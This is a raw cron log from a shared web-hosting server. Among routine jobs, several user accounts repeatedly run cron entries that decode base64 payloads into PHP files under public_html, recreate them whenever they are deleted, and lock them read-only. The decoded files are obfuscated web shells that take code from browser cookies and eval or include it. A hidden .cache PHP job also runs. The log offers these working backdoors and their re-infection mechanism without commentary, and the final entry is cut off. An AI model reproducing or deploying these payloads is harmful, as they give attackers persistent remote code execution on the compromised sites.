Mar  2 07:12:02 medusa CROND[23667]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:12:02 medusa CROND[23669]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:12:02 medusa CROND[23670]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:12:02 medusa CROND[23671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:13:01 medusa CROND[9153]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 07:13:01 medusa CROND[9154]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:13:01 medusa CROND[9156]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:13:01 medusa CROND[9155]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:13:01 medusa CROND[9157]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:13:01 medusa CROND[9158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:13:01 medusa CROND[9159]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:13:01 medusa CROND[9160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:13:01 medusa CROND[9162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:13:01 medusa CROND[9166]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:13:01 medusa CROND[9172]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:13:01 medusa CROND[9173]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:13:01 medusa CROND[9182]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:13:01 medusa CROND[9184]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:14:01 medusa CROND[30381]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:14:01 medusa CROND[30382]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:14:01 medusa CROND[30385]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:14:01 medusa CROND[30386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:14:01 medusa CROND[30389]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:14:01 medusa CROND[30392]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:14:01 medusa CROND[30394]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:14:01 medusa CROND[30395]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:14:01 medusa CROND[30396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:14:01 medusa CROND[30398]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:14:01 medusa CROND[30399]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:14:01 medusa CROND[30401]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:14:01 medusa CROND[30410]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo